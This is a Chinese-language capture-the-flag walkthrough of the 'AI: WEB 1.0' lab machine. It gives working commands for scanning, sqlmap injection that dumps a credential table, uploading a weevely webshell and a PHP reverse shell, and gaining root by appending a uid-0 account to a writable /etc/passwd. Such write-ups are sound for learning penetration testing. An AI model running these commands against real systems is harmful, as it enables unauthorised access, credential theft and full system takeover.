一、主机发现
使用netdiscover
,发现主机IP为:192.168.203.139
.
二、端口扫描
使用Nmap
:
root@kali:/# nmap -sS -A 192.168.203.139 --script=vuln
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-20 17:40 CST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.203.139
Host is up (0.00042s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
|_ /robots.txt: Robots file
|_http-server-header: Apache
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 00:0C:29:C4:D8:DA (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.42 ms 192.168.203.139
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.86 seconds
只扫描到一个80端口,并且还扫描出了文件robots.txt
三、漏洞寻找
我们打开网站看一下:
意思就是不使用谷歌搜索我的目录,就是让我们做目录扫描嘛~
那就拿出dirb
!
root@kali:/# dirb http://192.168.203.139/
---------------------------------------------------------
+ http://192.168.203.139/index.html (CODE:200|SIZE:141)
+ http://192.168.203.139/robots.txt (CODE:200|SIZE:82)
+ http://192.168.203.139/server-status (CODE:403|SIZE:222)
我们依次进行查看,结果呢,只有robots.txt
有东西。
进行访问之后,发现都是禁止访问的,那我们再对其进行依次扫描。
---- Scanning URL: http://192.168.203.139/m3diNf0/ ----
+ http://192.168.203.139/m3diNf0/info.php (CODE:200|SIZE:84275)
---- Scanning URL: http://192.168.203.139/se3reTdir777/ ----
+ http://192.168.203.139/se3reTdir777/index.php (CODE:200|SIZE:1228)
发现了info.php
还有一个index.php
。
应该没有其他的文件了,我们来访问看看。
是一个php探针,再看另一个文件。
猜测八成是一个注入点!
报错了,那就Sqlmap
一顿梭。
sqlmap -u http://192.168.203.139/se3reTdir777/index.php --data="uid=User+ID&Operation=Submit" -p uid --dbs
sqlmap -u http://192.168.203.139/se3reTdir777/index.php --data="uid=User+ID&Operation=Submit" -p uid -D aiweb1 --tables
sqlmap -u http://192.168.203.139/se3reTdir777/index.php --data="uid=User+ID&Operation=Submit" -p uid -D aiweb1 -T user,systemUser --columns
看来只有systemUser
中,有好东西。
最后我们得到了三个账号和密码:
Database: aiweb1
Table: systemUser
[3 entries]
+----+-----------+----------------------------------------------+
| id | username | password |
+----+-----------+----------------------------------------------+
| 1 | t00r | RmFrZVVzZXJQYXNzdzByZA== |
| 2 | aiweb1pwn | TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ== |
| 3 | u3er | TjB0VGhpczBuZUFsczA= |
+----+-----------+----------------------------------------------+
接着,我又尝试了--os-shell
,配合着phpinfo
那不稳稳的嘛
先来找到网站的根目录:/home/www/html/web1x443290o2sdf92213
但是结果失败了:
应该是没有权限写入,但我又想到刚才扫到的目录/se3reTdir777/uploads
,说不定这个可以。
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads
上传成功。
本来打算直接使用os-shell
反弹shell的,但是一直失败,不知道为什么原因。
那我们就自己上传一个木马,--os-shell
会给我们上传小马,用于上传文件:
接下来,使用weevely
生成木马。
weevely generate hackergu hackergu.php
上传成功:
http://192.168.203.139/se3reTdir777/uploads/hackergu.php
四、反弹shell
利用weevely进行连接:
weevely http://192.168.203.139/se3reTdir777/uploads/hackergu.php hackergu
连接是连接上了,但是不知道为啥执行不了反弹shell的命令,好像是对参数做限制了。那我就换个思路,利用kali自带的webshell。
在目录/usr/share/webshells/php
下,有自带的php-reverse-shell.php
。我们将其中的ip与端口进行修改再次上传。
待上传好之后,我们在kali中开启监听,然后访问上传的php即可。
可算成功了!
五、提权
使用命令ls -la /etc/passwd
:
发现我们对/etc/passwd
有可写权限。那就好办了,添加一个高权限账户即可。
使用命令perl -le 'print crypt("hackergu","salt")'
,生成加盐密码。
echo 'admin:saBGghOLaw5vg:0:0::/root:/bin/bash' >>/etc/passwd
写admin账户入/etc/passwd
中去
拿去flag成功!
www-data@aiweb1:/$ echo 'admin:saBGghOLaw5vg:0:0::/root:/bin/bash' >>/etc/passwd
<n:saBGghOLaw5vg:0:0::/root:/bin/bash' >>/etc/passwd
www-data@aiweb1:/$ su admin
su admin
Password: hackergu
root@aiweb1:/# cd /root
cd /root
root@aiweb1:~# ls
ls
flag.txt
root@aiweb1:~# cat flag.txt
cat flag.txt
####################################################
# #
# AI: WEB 1.0 #
# #
# Congratulation!!! #
# #
# Thank you for penetrate my system. #
# #
# Hope you enjoyed this. #
# #
# #
# flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71} #
# #
####################################################